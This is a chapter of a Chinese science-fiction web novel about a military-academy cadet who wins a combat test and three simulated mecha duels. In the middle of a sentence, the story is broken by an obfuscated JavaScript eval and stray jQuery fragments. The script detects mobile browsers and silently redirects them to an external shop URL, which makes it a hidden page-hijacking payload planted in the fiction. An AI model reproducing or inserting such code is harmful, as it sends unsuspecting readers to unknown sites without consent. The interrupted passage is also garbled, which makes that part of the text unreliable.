弥星心中一喜,没想到还有这份天降人脉!
可惜“人脉”没有认她,甚至在“人脉”轻飘飘瞥了喊话教官一眼后,再没人声援她了。
弥星在格斗台上狼狈逃窜,体力实在无法支撑她达成有效攻击了,能不能像麻痹异植一样让对面的安娜教官速度慢一点呢?
她一个分心又被击中背部,疼得龇牙咧嘴。
集中!她尝试捕捉在泥坑中对付异植的那种掌控感……头痛欲裂……怎么感觉教官速度更快了?!
她被狠狠击倒在地翻滚了两圈,安娜教官发丝都没乱,笑着轻声说:“这就是她的学生?”
一股被挑衅的无名火在弥星心中燃起,她不再一味躲避,而是盯着教官的每一个动作,试图复刻并将它们还给对手,同时不断尝试以精神力干扰对方的行动。
一次又一次的翻滚后,终于!她等到了教官动作放缓的那一秒!钳制住迎面而来的拳头,勾住对方左腿用尽全身力气试图让教官倒地。
周围传来一阵惊叹,安娜教官很快回过神来,以强大核心支撑着没有被放倒。
她后退两步,静静看着弥星,这短短几秒间,弥星已经设想了无数可能:她感受到我用精神力干扰她了?要当场揭发吗?这算作弊吗?会让校长开除我吗?
但安娜教官却笑起来:“恭喜你,通关了。”
与此同时,弥星的光脑响起提示:生命体征低,请紧急前往医疗舱。与身体数据绑定的学校医疗机器人转到格斗台下等着她。
日上三竿,她拖着再也挤不出一丝力气的身体来到医疗室躺进医疗舱时,脑海中画面纷乱,安娜教官利落的招数和班主任教的打法不时重叠。又想起叶肖成昨晚预言的要喝一个月营养液,心如死灰闭上了眼睛。
……
第一波洗礼让涉世未深的预备生们感受到了军校的严格。许多人只来得及喝一支营养液,转头就得参加下午的机甲对战。
弥星躺进模拟舱后,面前的屏幕跳出提醒:
‘全体预备生选择机甲’
她选择了模拟舱标配的指挥型机甲。
这种机甲的指挥操作台更为庞大,操作灵活,利于指挥官接收通讯、下达命令。
‘进行随机分配对手……’
对战共三轮。每一轮结束后,会由模拟舱识别出最精彩的对战,播放给全体预备生学习。
三轮全胜者可以结束今日训练,两胜者加赛一轮,一胜者加赛两轮,未胜者加赛三轮。
主打一个不擅长什么就越要加练什么。
第一轮作战过后,模拟舱缓缓将识别到的对战展现在众人面前:
‘房间:3605’
‘对战选手:指挥官系·S·A-·弥星VS机甲兵系·S·S·明易辉’
两位选手上方标注着数据:
‘弥星:指挥型机甲,破损率0%’
‘明易辉:中级攻击型机甲,破损率0%’
训练馆内传出了一片哄笑:
“机甲兵打指挥?太搞笑了。”
“跟指挥打没有观赏性啊!”
“系统的评判标准是什么?单方面碾压就是精彩啊?我要看单兵对单兵!”
屏幕在唏嘘声中开始播放对战画面。
攻击机甲的想法显然跟大家一样,认为匹配到了必胜局,站在原地将能量都注入武器库。
两发满满蓄能的跟随炮呼啸而出。
只见那台指挥型机甲在画面里四处乱窜,跟随炮紧追不舍。攻击型机甲不耐烦等待,增强蓄力,追加了两发跟随炮。指挥型机甲秀了一波惊险走位,勉强贴地躲过。
就在四发炮弹即将追上指挥型机甲时,她眨眼间窜到攻击型机甲面前垂直向上推进。被她晃过的四发炮弹惯性大过了追随指令,全部落在攻击型机甲身上。
伴随着刺目的光芒和巨大的爆炸声,攻击型机甲的破损率达到20%。
“……”
“这个指挥动作倒挺快的。”
“弥星……好像是早上最快跑完的那个。”
“开玩笑吧……指挥官不是都有很多书要背吗?她哪来的时间练体能……”
“挺能躲的,单兵应该正面进攻。”
攻击型机甲见火力压制没用,迅速拉近距离调整为近战模式,两把光束剑挥向指挥型机甲。
这才是攻击型机甲的优势。
它们不像防御型机甲那样装载许多重火力武器,相反,为了更强的机动性,在优化机身的同时选择轻型武器,擅长近身攻击,作战灵活。
而防御型机甲被命名为防御,不仅是机甲外壳更坚固、沉重,拥有巨盾般的防御能力,更因为它们丰富的武器库,可以用不间断的火力压制对手,为己方创造防御区。
屏幕中的指挥型机甲见状,升起两面光盾快速格挡,同时暗暗在光盾后为能量炮蓄力。
“轰——”,先后两发能量炮精准地打在攻击型机甲身上,破损率迅速上升到30%。
“……”
“……这是我认识的指挥系吗?”
“……不确定,再看看。”
“兄弟不行啊!真给机甲兵丢脸!我上去三秒就结束战斗!”
监控室里的教官听到这句话,面无表情地把这位打嘴炮的机甲兵预定为弥星的第二轮作战对象。
屏幕中,明易辉操作的机甲摇摇晃晃站起来。
此时弥星也改防御为近战攻击,抽出了两把光束剑。
接下来是近战剑术的对决,很明显这是两位都擅长的武器,众预备生总算明白为什么模拟舱将这场对战识别为最精彩的了,一招一式都值得近战型的单兵们学习。
众人仿佛在看专业赛,但两位专业选手的水准逐渐分层,指挥型机甲的招数总是高人一头,攻击型机甲左支右绌,破损率稳步上升,逐渐逼近模拟舱判定输赢的数值。
当攻击型机甲破损率达到70%时,它从画面中消失了。
屏幕定格在对战场上仅剩的一台指挥型机甲上,留下众人目瞪口呆。
监控室里的一位教官回放了几个画面,忍不住询问身边的人:“你不觉得她的招数有点眼熟吗?”
“是有点儿……”
另一位教官插话:“会让我想起安娜的打法。”
“对!像安娜的招数!”发问的教官一拍大腿,“我就说怎么那么眼熟……上午安娜这样打她!下午她就学会了用在别人身上!”
第二场对决很快开始了。
这次,弥星的对手是重级防御型机甲。操作者是个自视甚高的机甲兵,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941996|213947||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
丝毫没有吸取观赛的教训,或者说,他认为自己跟别人不一样。
上来便迅速逼近弥星,企图通过数发炮弹强行送走对手。弥星一边升起光盾确保核心不会受损,一边灵活走位躲避伤害,甚至试图用精神力干扰对方的武器,但她意识到控制不了炮弹时便立刻收心了。
对方见有效攻击率极低,急眼了,操作机甲开始近战。可他练的是防御单兵的路数,在近战水平上力有未逮,更何况对手的近战能力比他高。
于是他又回到了防御型机甲擅长的领域——远程武器攻击,变着花样一会儿激光枪一会儿雷磁炮,不停地轰炸着对手,炸得整个对战间五颜六色。
弥星一度觉得比对方武器带来伤害更严重的是不间断爆发的刺目光线。
不知道是对手的准头太差还是弥星操作的指挥型机甲太灵活,由于模拟舱匹配的机甲武器储备库有限,这种强度的攻击让对手在耗尽弥星体能之前把自己能源耗尽了。
第二场播放的画面仍然是弥星的对战,模拟舱还重点分解了她在面对防御型机甲重火力攻击时的各种有效防御,并在每次操作旁推荐了相应的训练,以便观看者可以一键添加学习。
众生第一次见识到能把精神力控制得这么恰好的机甲,以至于第三场结束后,屏幕上又出现弥星的名字时,众预备生有一种“我就知道”的落地感。
于是,这个名字第一天便留在了这一届预备生的脑海里。
弥星完成三次全胜之后,并没有结束今天的日程回去休息,也没有关注其他人的成绩。
她领了两只精神力舒缓剂后,又爬回模拟舱。
在舱内的训练模式中,找到模拟战役选项,点开可选择的战役,看到了许多熟悉的名字。
都是曾经在积雪星图书馆和妈妈一起研究过的战役。
她下意识地想告诉妈妈自己现在能进入这些战役实践了,手刚摸上星芒项链,又想起自己不知道怎么联系她。
弥星握紧拳头,将翻涌上来的泪意压下去,点进一场不久前的异兽潮战役。
直到夜深了,她才被刚完成对战的卫绮南带走。
回去的路上,卫绮南欲言又止,弥星笑道:“你想问什么?”
卫绮南犹豫了一下:“我感觉你不是对模拟舱上瘾的人。”
“对呀。”
“那你怎么沉迷在里面了?洛竹说你一直没出来。”
“我之前能用模拟舱的机会不多,今天有好多在书上看到过的战役想要练习。下次我会设置好时间,不用担心。”弥星冲她开朗地笑了笑。
“你吃晚饭了吗?”
“还没有,回去喝营养液。”
……
第二天早上是更加严格的跑圈,再次躺进医疗舱的弥星这才感受到昨天教官们已经手下留情了。
下午则是射击训练,严苛的过关标准让许多人不仅连营养液都喝不上,甚至连睡觉时间都不够了。第一周还没过完,弥星就发现大通铺的床位每天都在减少。
无论每天的魔鬼训练是什么内容,她的目标都是速战速决,然后去医疗舱躺着,躺好了就去模拟舱,实践那些从前只在书本上看过的战役。
第二周,教官没有像往常一样把所有人赶去体育场,而是带到了学校边缘的山地上。